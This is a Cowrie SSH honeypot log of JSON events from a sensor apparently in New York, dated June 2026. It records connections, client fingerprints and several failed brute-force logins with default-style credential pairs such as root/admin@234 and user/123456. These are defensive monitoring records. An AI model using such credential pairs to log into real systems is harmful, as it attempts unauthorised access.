{"eventid":"cowrie.session.closed","duration":"23.9","message":"Connection lost after 23.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:55.700629Z","src_ip":"91.92.40.36","session":"7510f3408683","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43232,"dst_ip":"10.17.0.5","dst_port":22,"session":"23fc578756bf","protocol":"ssh","message":"New connection: 45.153.34.195:43232 (10.17.0.5:22) [session: 23fc578756bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:56.668532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:56.679730Z","src_ip":"45.153.34.195","session":"23fc578756bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:56.763493Z","src_ip":"45.153.34.195","session":"23fc578756bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567","message":"login attempt [ubuntu/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:57.255649Z","src_ip":"45.153.34.195","session":"23fc578756bf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:57.308762Z","src_ip":"91.92.40.36","session":"4dfbb3a745d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:57.314412Z","src_ip":"91.92.40.36","session":"4dfbb3a745d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:58.341012Z","src_ip":"45.153.34.195","session":"23fc578756bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":43240,"dst_ip":"10.17.0.5","dst_port":22,"session":"d37bbb7aac93","protocol":"ssh","message":"New connection: 45.153.34.195:43240 (10.17.0.5:22) [session: d37bbb7aac93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:59.638094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:59.642794Z","src_ip":"45.153.34.195","session":"d37bbb7aac93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:56:59.726696Z","src_ip":"45.153.34.195","session":"d37bbb7aac93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maarch","password":"maarch","message":"login attempt [maarch/maarch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:00.140704Z","src_ip":"45.153.34.195","session":"d37bbb7aac93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55644,"dst_ip":"10.17.0.5","dst_port":22,"session":"e228470c9bfe","protocol":"ssh","message":"New connection: 27.71.230.31:55644 (10.17.0.5:22) [session: e228470c9bfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:00.339329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:00.367898Z","src_ip":"27.71.230.31","session":"e228470c9bfe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:00.642391Z","src_ip":"27.71.230.31","session":"e228470c9bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:01.226765Z","src_ip":"45.153.34.195","session":"d37bbb7aac93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57666,"dst_ip":"10.17.0.5","dst_port":22,"session":"e52d7ab7b8f4","protocol":"ssh","message":"New connection: 45.153.34.195:57666 (10.17.0.5:22) [session: e52d7ab7b8f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:02.636507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:02.642813Z","src_ip":"45.153.34.195","session":"e52d7ab7b8f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:02.738592Z","src_ip":"45.153.34.195","session":"e52d7ab7b8f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":32768,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fd8c974c813","protocol":"ssh","message":"New connection: 91.92.40.36:32768 (159.203.135.109:22) [session: 5fd8c974c813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:02.896797Z"}
{"eventid":"cowrie.login.failed","username":"green","password":"green","message":"login attempt [green/green] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:03.006576Z","src_ip":"45.153.34.195","session":"e52d7ab7b8f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zero","password":"zero","message":"login attempt [zero/zero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:03.961736Z","src_ip":"91.92.40.36","session":"e62898b32a0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:04.094630Z","src_ip":"45.153.34.195","session":"e52d7ab7b8f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@234","message":"login attempt [root/admin@234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:04.142134Z","src_ip":"27.71.230.31","session":"e228470c9bfe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:04.943131Z","src_ip":"91.92.40.36","session":"5fd8c974c813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:04.949212Z","src_ip":"91.92.40.36","session":"5fd8c974c813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57672,"dst_ip":"10.17.0.5","dst_port":22,"session":"62307bbd4b22","protocol":"ssh","message":"New connection: 45.153.34.195:57672 (10.17.0.5:22) [session: 62307bbd4b22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:05.592022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:05.602699Z","src_ip":"45.153.34.195","session":"62307bbd4b22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:05.688439Z","src_ip":"45.153.34.195","session":"62307bbd4b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52440,"dst_ip":"159.203.135.109","dst_port":22,"session":"799fa66d8f80","protocol":"ssh","message":"New connection: 91.92.40.36:52440 (159.203.135.109:22) [session: 799fa66d8f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:05.761605Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"root","message":"login attempt [deploy/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:05.947499Z","src_ip":"45.153.34.195","session":"62307bbd4b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:06.796785Z","src_ip":"27.71.230.31","session":"e228470c9bfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:07.032099Z","src_ip":"45.153.34.195","session":"62307bbd4b22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":57678,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8ad29fd5182","protocol":"ssh","message":"New connection: 45.153.34.195:57678 (10.17.0.5:22) [session: c8ad29fd5182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.326872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.364244Z","src_ip":"45.153.34.195","session":"c8ad29fd5182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.463768Z","src_ip":"45.153.34.195","session":"c8ad29fd5182","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.572294Z","src_ip":"91.92.40.36","session":"799fa66d8f80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.575666Z","src_ip":"91.92.40.36","session":"799fa66d8f80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:57:08.853456Z","src_ip":"45.153.34.195","session":"c8ad29fd5182","protocol":"ssh"}
